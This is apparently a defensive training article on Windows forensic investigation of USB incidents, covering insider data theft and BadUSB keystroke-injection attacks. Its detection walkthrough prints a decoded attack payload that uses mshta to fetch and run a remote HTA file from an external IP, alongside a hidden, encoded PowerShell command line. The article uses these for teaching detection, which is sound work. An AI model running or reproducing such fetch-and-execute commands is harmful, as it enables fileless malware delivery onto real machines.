USB Threat Investigation

USB devices present a dual threat: introducing malware into networks and enabling insider data exfiltration. Windows logs every USB connection forensically — device identity, connection time, and files accessed. A trained analyst can reconstruct exactly what happened from these log sources, producing evidence suitable for HR action, legal proceedings, or malware response depending on the investigation type.

The Dual Threat — Two Very Different Investigation Paths

A USB insertion event can be one of two fundamentally different security incidents, and it's important to identify which type early — they require different investigation approaches, different evidence standards, and different response actions:

Windows USB Evidence Sources

Event Log   System -- Event 2003/2100 (USB storage device connected)
Event Log   Security -- Event 4663 (file accessed on USB drive letter)
Registry    HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR (device history)
Setupapi    C:\Windows\INF\setupapi.dev.log (first-seen timestamp per device)
Prefetch    C:\Windows\Prefetch\ (did any executable run from the USB drive?)
LNK files  C:\Users\[user]\AppData\Roaming\Microsoft\Windows\Recent\ (recently opened)

USB Investigation in Practice

reg query "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR" /s
Disk&Ven_SanDisk&Prod_Cruzer_Blade
  SerialNumber: 4C530001120628107282
  FriendlyName: SanDisk Cruzer Blade USB Device
  First Connected: 2026-05-14 09:23:44

Event 4663 -- Object Access
Time: 2026-05-14 09:24:12  Account: CORP\j.doe
Object: E:\HR_Files\salary_data_2026.xlsx
Access: ReadData | WriteData

Time: 2026-05-14 09:24:45  Account: CORP\j.doe
Object: E:\HR_Files\employee_records.xlsx

Files accessed via USB drive E: by CORP\j.doe on 2026-05-14:
salary_data_2026.xlsx     Classification: RESTRICTED
employee_records.xlsx     Classification: CONFIDENTIAL

DLP Policy: USB transfer of RESTRICTED data = Immediate reportable violation
            USB transfer of CONFIDENTIAL data = Policy violation (HR action)
Severity: HIGH -- preserve evidence, notify HR, legal hold on endpoint

Event 4688 -- New Process Created
Time: 2026-05-14 10:02:01
Process: powershell.exe
CommandLine: powershell -w hidden -enc JABzAGgAZQBsAGwA...
Parent: cmd.exe (no user-initiated context -- cmd appeared at USB insertion time)
# HID/BadUSB injection confirmed -- decode the base64 payload
# USB inserted at 10:01:58; cmd spawned at 10:02:00; PowerShell at 10:02:01
# Timing correlation with USB insertion = definitive BadUSB indicator

What You Need to Know

Complete USB Evidence Source Reference

Each forensic source provides different evidence about different aspects of the USB event. A thorough investigation consults all sources — they cross-corroborate each other and fill different gaps in the timeline.

BadUSB and HID Attacks — Bypassing Storage-Focused Controls

BadUSB attacks exploit a fundamental aspect of the USB standard: any USB device can identify itself to the host operating system as any device class. A USB drive can claim to be a keyboard. A charging cable can claim to be a network adapter. A device disguised as a novelty item can claim to be a mouse, then type commands, then claim to be a storage device to exfiltrate files — all in the same session.

This capability bypasses the most common USB security control: blocking storage device access. A DLP policy that prevents files from being written to USB storage does nothing against a device that presents itself as a keyboard — keyboards don't have storage, so the DLP policy doesn't apply. The "keyboard" types commands, downloads a payload from the internet, and executes it without ever writing to storage.

Why HID Attacks Are Hard to Prevent and Easy to Detect

Prevention of HID attacks is difficult because blocking all HID devices would prevent legitimate mice and keyboards. The practical controls are physical (USB port blockers, locked-down physical access), policy (Rubber Ducky-type devices are physically distinctive — user awareness training helps), and endpoint (application allowlisting prevents unsigned code execution regardless of delivery mechanism).

Detection, by contrast, is straightforward once you know the signature: a process spawned immediately after a USB device is inserted, from a parent process (cmd.exe, PowerShell) that has no user-initiated context, executing with suspicious flags (-w hidden, -enc, -nop). The timing correlation between USB insertion (Event 2003/2100) and process creation (Event 4688) is the definitive detection signal.

--- Correlate USB insertion time with process spawning ---
Event 2100 (System Log):
  Time: 10:01:58  USB Device Connected: "USB HID Device" (no storage class)
Event 4688 (Security Log):
  Time: 10:02:00  Process: cmd.exe  Parent: explorer.exe  CommandLine: cmd /k
Event 4688 (Security Log):
  Time: 10:02:01  Process: powershell.exe  Parent: cmd.exe
  CommandLine: powershell -w hidden -nop -enc JABzAGgAZQBsAGwA...
# 2 seconds from USB insertion to PowerShell = HID device typing at machine speed

--- Decode the base64 payload ---
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("JABzAGgAZQBsAGwA..."))
$shell = New-Object -ComObject WScript.Shell
$shell.Run("mshta http://185.220.101.45/payload.hta")
# Device typed a PowerShell command to download and execute a remote HTA file
# This is a fileless malware delivery -- no file written to USB storage
# Check: did mshta.exe execute? Check network logs for connection to 185.220.101.45

Insider Data Exfiltration — From Alert to Evidence Package

Closing the USB Threat Surface

USB incidents are more preventable than most other incident types because the threat vector is physical and the controls are well-understood. The following controls address the two USB threat categories independently.

Core Concepts Summary